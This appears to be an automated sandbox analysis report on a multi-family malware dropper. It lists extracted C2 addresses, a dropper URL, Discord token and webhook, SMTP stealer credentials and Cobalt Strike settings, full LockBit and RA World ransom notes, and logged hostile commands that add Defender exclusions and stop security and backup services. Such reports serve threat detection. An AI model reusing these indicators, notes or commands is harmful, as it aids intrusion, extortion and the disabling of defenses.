Analysis
- max time kernel
150s - max time network
154s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
16/09/2026, 16:18
General
- Target ErmWhatsWrongWithMyPC.exe
- Size 25.2MB
- Sample260916-tsfdsssgrf
- SHA256 c2e9fbca414575d5c080d97f378024a4d131d6e1262112aebaa96eafa3592381
Malware Config
Extracted
-
ps1
-
exe.dropper
http://185.156.72.2/testmine/random.exe
Extracted
-
ps1
-
exe.dropper
http://185.156.72.2/testmine/random.exe
Extracted
-
redline
-
cheat
-
154.91.34.165:64951
Extracted
-
discordrat
-
discord_token
MTM0OTU1Nzg2MTk3NzY4NjExOA.GZnBJ8.ModoCKrx8GueOq0zGHlbO14l4wHwAZe9839-DA
-
server_id
1350894549899411528
Extracted
-
C:\Users\Admin\Data breach warning.txt
- # RA World ---- ## Notification Your data are stolen and encrypted when you read this letter. We have copied all data to our server. Don't worry, your data will not be made public if you do what I want. But if you don't pay, we will release the data, contact your customers and regulators and destroy your system again. We can decrypt some files to prove that the decrypt tool works correctly. ## What we want? Contact us, pay for ransom. If you pay, we will provide you the programs for decryption and we will delete your data where on our servers. If not, we will leak your datas and your company will appear in the shame list below. If not, we will email to your customers and report to supervisory authority. ## How contact us? We use qTox to contact, you can download qTox from office website: https://qtox.github.io Our qTox ID is: 358AC0F6C813DD4FD243524F040E2F77969278274BD8A8945B5041A249786E32CC784580F2EC We have no other contacts. If there is no contact within 3 days, you will appear on our website and we will make sample files public. If there is no contact within 7 days, we will stop communicating and release data in batches. The longer time, the higher ransom. ## RA World Office Site: [Permanent address] http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion [Temporary address] http://161.35.200.18 ## Sample files release link: Sample files: https://gofile.io/d/ufuFye ## Unpay Victim Lists *** You'll be here too if you don't pay! *** *** More and more people will get your files! *** [NIDEC GPM GmbH] [Die Unfallkasse Th�ringen] [HALLIDAYS GROUP LIMITED] [Rockford Gastroenterology Associates] [Di Martino Group] [Alablaboratoria] [Comer] [Informist Media] [SUMMIT VETERINARY PHARMACEUTICALS LIMITED] [Chung Hwa Chemical Industrial Works] [Aceromex] [247ExpressLogistics] [Yuxin Automobile Co.Ltd] [Piex Group] [Zurvita] [BiscoIndustries] [Decimal Point Analytics Pvt] [DeepNoid] [Eastern Media International Corporation] [EyeGene] [Insurance Providers Group] [Thaire] [Wealth Enhancement Group] You can use Tor Browser to open .onion url. Ger more information from Tor office website: https://www.torproject.org
-
https://qtox.github.io
-
http://raworldw32b2qxevn3gp63pvibgixr4v75z62etlptg3u3pmajwra4ad.onion
-
http://161.35.200.18
-
https://gofile.io/d/ufuFye
Extracted
-
vidar
-
13.6
-
158fdd2a4f5abb978509580715e5353f
-
https://t.me/m00f3r
-
https://steamcommunity.com/profiles/76561199851454339
-
user_agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/132.0.0.0 Safari/537.36 OPR/117.0.0.0
Extracted
-
C:\fnsYm5R5i.README.txt
-
lockbit
- ~~~ LockBit 3.0 the world's fastest ransomware since 2019~~~ >>>> Your data are stolen and encrypted The data will be published on TOR website if you do not pay the ransom Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly >>>> What guarantees that we will not deceive you? We are not a politically motivated group and we do not need anything other than your money. If you pay, we will provide you the programs for decryption and we will delete your data. Life is too short to be sad. Be not sad, money, it is only paper. If we do not give you decrypters, or we do not delete your data after payment, then nobody will pay us in the future. Therefore to us our reputation is very important. We attack the companies worldwide and there is no dissatisfied victim after payment. You can obtain information about us on twitter https://twitter.com/hashtag/lockbit?f=live >>>> You need contact us and decrypt one file for free on these TOR sites with your personal DECRYPTION ID Download and install TOR Browser https://www.torproject.org/ Write to a chat and wait for the answer, we will always answer you. Sometimes you will need to wait for our answer because we attack many companies. Links for Tor Browser: http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion http://lockbitsupuhswh4izvoucoxsbnotkmgq6durg7kficg6u33zfvq3oyd.onion http://lockbitsupn2h6be2cnqpvncyhj4rgmnwn44633hnzzmtxdvjoqlp7yd.onion Link for the normal browser http://lockbitsupp.uz If you do not get an answer in the chat room for a long time, the site does not work and in any other emergency, you can contact us in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] >>>> Your personal DECRYPTION ID: 2936B8B4C916B76CAE9058D0B6379690 >>>> Warning! Do not DELETE or MODIFY any files, it can lead to recovery problems! >>>> Warning! If you do not pay the ransom we will attack your company repeatedly again! >>>> Advertisement Would you like to earn millions of dollars $$$ ? Our company acquire access to networks of various companies, as well as insider information that can help you steal the most valuable data of any company. You can provide us accounting data for the access to any company, for example, login and password to RDP, VPN, corporate email, etc. Open our letter at your email. Launch the provided virus on any computer in your company. You can do it both using your work computer or the computer of any other employee in order to divert suspicion of being in collusion with us. Companies pay us the foreclosure for the decryption of files and prevention of data leak. You can contact us using Tox messenger without registration and SMS https://tox.chat/download.html. Using Tox messenger, we will never know your real name, it means your privacy is guaranteed. If you want to contact us, write in jabber or tox. Tox ID LockBitSupp: 3085B89A0C515D2FB124D645906F5D3DA5CB97CEBEA975959AE4F95302A04E1D709C3C4AE9B7 XMPP (Jabber) Support: [email protected] [email protected] If this contact is expired, and we do not respond you, look for the relevant contact data on our website via Tor or Brave browser Links for Tor Browser: http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion Links for the normal browser http://lockbitapt.uz http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion
-
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion
-
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion
-
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion
-
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion
-
http://lockbitapt.uz
-
http://lockbitapt2yfbt7lchxejug47kmqvqqxvvjpqkmevv4l3azl3gy6pyd.onion.ly
-
http://lockbitapt5x4zkjbcqmz6frdhecqqgadevyiwqxukksspnlidyvd7qd.onion.ly
-
http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion.ly
-
http://lockbitapt34kvrip6xojylohhxrwsvpzdffgs5z4pbbsywnzsbdguqd.onion.ly
-
http://lockbitaptc2iq4atewz2ise62q63wfktyrl4qtwuk5qax262kgtzjqd.onion.ly
-
http://lockbitaptjpikdqjynvgozhgc6bgetgucdk5xjacozeaawihmoio6yd.onion.ly
-
http://lockbitaptq7ephv2oigdncfhtwhpqgwmqojnxqdyhprxxfpcllqdxad.onion.ly
-
http://lockbitaptstzf3er2lz6ku3xuifafq2yh5lmiqj5ncur6rtlmkteiqd.onion.ly
-
http://lockbitaptoofrpignlz6dt2wqqc5z3a4evjevoa3eqdfcntxad5lmyd.onion.ly
-
http://lockbitsupt7nr3fa6e7xyb73lk6bw6rcneqhoyblniiabj4uwvzapqd.onion
Extracted
-
gh0strat
-
192.168.1.221
Extracted
-
umbral
-
v1.3
-
https://discord.com/api/webhooks/1346459311483785276/cQnVuDAoiFJcDf4vo7vWTgnnFbmUju8Qxk65L_lTD8cZZ2u1KsT1eGhKTrTCfucO5-er
Extracted
-
cobaltstrike
-
987654321
-
http://103.171.35.26:9443/dot.gif
-
access_type
512
-
beacon_type
2048
-
host
103.171.35.26
-
http_header1
AAAABwAAAAAAAAADAAAABgAAAAZDb29raWUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_header2
AAAACgAAACZDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQAAAAcAAAAAAAAABQAAAAJpZAAAAAcAAAABAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=
-
http_method1
GET
-
http_method2
POST
-
polling_time
60000
-
port_number
9443
-
sc_process32
%windir%\syswow64\rundll32.exe
-
sc_process64
%windir%\sysnative\rundll32.exe
-
state_machine
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCYwABfVZCivHbnjZUO+BO81zPgD/iC2oPyKTKg/ktH1Zbz3KyDsPWnMof9juyAfTGI73mxgqkNUk3MwtLRfIqw+cleDaWzp4gE2tnKy9qy4dqKpTA6yNxxtvSYH3EW3YQb7BsYeNZclmAmezp4zgRUwqydV21a6CYhEsjH2IeQ7wIDAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
unknown1
4096
-
unknown2
AAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==
-
uri
/submit.php
-
user_agent
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUSMSE)
-
watermark
987654321
Extracted
-
masslogger
-
exfiltration_mode
#SMTPEnabled
-
expire_time_date
2025-06-14
-
host_password
DhakaHome2024
-
host_port
587
- host_receiver
- host_sender
-
host_server
mail.dhakahome.com
-
ssl_slate
True
Extracted
-
vipkeylogger
Extracted
-
xworm
-
5.0
-
paltalkroom.ddns.net:65236
-
Y1mBse1uakfJ6zP1
-
Install_directory
%Temp%
-
install_file
test.exe
Signatures
- Family: AdesStealer
AdesStealer is a modular stealer written in C#.
- Family: Chaos
Ransomware family first seen in June 2021.
- Family: Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Family: DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
- Family: Discord RAT
A RAT written in C# using Discord as a C2.
- Family: Gh0strat
Gh0st RAT is a remote access tool (RAT) with its source code public and it has been used by multiple Chinese groups.
- Family: HiddenTear, Cryptear
HiddenTear aka Cryptear is an open-source ransomware available on Github since 2015, with many versions in the wild.
- Family: JLocker
JLocker, also known as JRansomware, is a new Rust based ransomware.
- Family: Lockbit
Ransomware family with multiple variants released since late 2019.
- Family: MassLogger
Masslogger is a .NET stealer targeting passwords from browsers, email and cryptocurrency clients.
- Family: ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
- Family: RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- Family: Rokrat
Rokrat is a remote access trojan written in c++.
- Family: SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Family: VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Family: ValleyRat
ValleyRat stage2 is a backdoor written in C++.
- Family: Vidar
Vidar is an infostealer based on Arkei stealer.
- Family: Xorist Ransomware
Xorist is a ransomware first seen in 2020.
- Family: Xworm
Xworm is a remote access trojan written in C#.
- Chaos Ransomware 2 IoCs
- DCRat payload 1 IoCs
- Detect Rokrat payload 1 IoCs
- Detect Vidar Stealer 2 IoCs
- Detect Xworm Payload 1 IoCs
- Detected Xorist Ransomware 1 IoCs
- Detects AdesStealer 2 IoCs
- Detects HiddenTear Ransomware 1 IoCs
- Detects JLocker ransomware. 1 IoCs
- Detects Umbral payload 4 IoCs
- Detects ValleyRAT payload 1 IoCs
- Gh0st RAT payload 1 IoCs
- ModiLoader Second Stage 1 IoCs
- Process spawned unexpected child process 18 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- RedLine payload 2 IoCs
- Rule to detect Lockbit 3.0 ransomware Windows payload 2 IoCs
- SectopRAT payload 2 IoCs
- Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 25 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Signed with revoked ConnectWise certificate 1 IoCs
Binary is signed using a ConnectWise certificate revoked for key compromise.
- ASPack v2.12-2.42 1 IoCs
Detects executables packed with ASPack v2.12-2.42
- Executes dropped EXE 7 IoCs
- Looks up external IP address via web service 1 TTPs 5 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Network Share Discovery 1 TTPs
Attempt to gather information on host network.
- AutoIT Executable 2 IoCs
AutoIT scripts compiled to PE executables.
- Checks system information in the registry 2 TTPs 1 IoCs
System information is often read in order to detect sandboxing environments.
- ConfuserEx .NET packer 2 IoCs
Detects ConfuserEx .NET packer.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 8 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Program crash 2 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
- Kills process with taskkill 45 IoCs
- Modifies registry class 1 IoCs
- Modifies registry key 1 TTPs 2 IoCs
- Opens file in notepad (likely ransom note) 1 IoCs
- Runs net.exe
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 22 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 17 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\ErmWhatsWrongWithMyPC.exe"C:\Users\Admin\AppData\Local\Temp\ErmWhatsWrongWithMyPC.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"C:\Users\Admin\AppData\Local\Temp\0f78a658b60f0879acccf0933d9ae8a5d2c188e9f16b8e6f7b01bd0cc9b5c4e1.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"C:\Users\Admin\AppData\Local\Temp\0fd46aca09c54c256d22420d2ac3e947ff204a42a24158dfcb562de18a77f3f1.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"C:\Users\Admin\AppData\Local\Temp\01ec7b1066df7c55e262dc375bff5fd13a1fc9706c3db4b3522ac8b9d2453b52.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\ZcwWvGIJLelYh.exe"3⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\ZcwWvGIJLelYh" /XML "C:\Users\Admin\AppData\Local\Temp\tmp64E5.tmp"3⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"3⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\install.vbs"4⤵
- Executes a VBScript file via the Windows Script Host.
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"C:\Users\Admin\AppData\Local\Temp\1bad2b6e8ab16c5a692b2d05f68f7924a73a5818ddf3a9678ca8caab3568a78e.exe"2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -Command "& { }"3⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\net.exenet stop "Acronis VSS Provider" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Acronis VSS Provider" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Enterprise Client Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Enterprise Client Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Agent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Agent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos AutoUpdate Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos AutoUpdate Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Clean Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Clean Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Device Control Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Device Control Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos File Scanner Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos File Scanner Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Health Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Health Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos MCS Agent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Agent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos MCS Client" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos MCS Client" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Message Router" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Message Router" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Safestore Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Safestore Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos System Protection Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos System Protection Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Sophos Web Control Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Sophos Web Control Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Backup Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Backup Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "SQLsafe Filter Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "SQLsafe Filter Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Symantec System Recovery" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Symantec System Recovery" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Veeam Backup Catalog Data Service" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Veeam Backup Catalog Data Service" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AcronisAgent" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AcronisAgent" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "AcrSch2Svc" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "AcrSch2Svc" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "Antivirus" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "Antivirus" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "ARSM" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "ARSM" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecAgentAccelerator" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentAccelerator" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecAgentBrowser" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecAgentBrowser" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecDeviceMediaService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecDeviceMediaService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecJobEngine" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecJobEngine" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecManagementService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecManagementService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecRPCService" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecRPCService" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "BackupExecVSSProvider" /y3⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop "BackupExecVSSProvider" /y4⤵
-
-
-
C:\Windows\SysWOW64\net.exenet stop "bedbg" /y3⤵
-
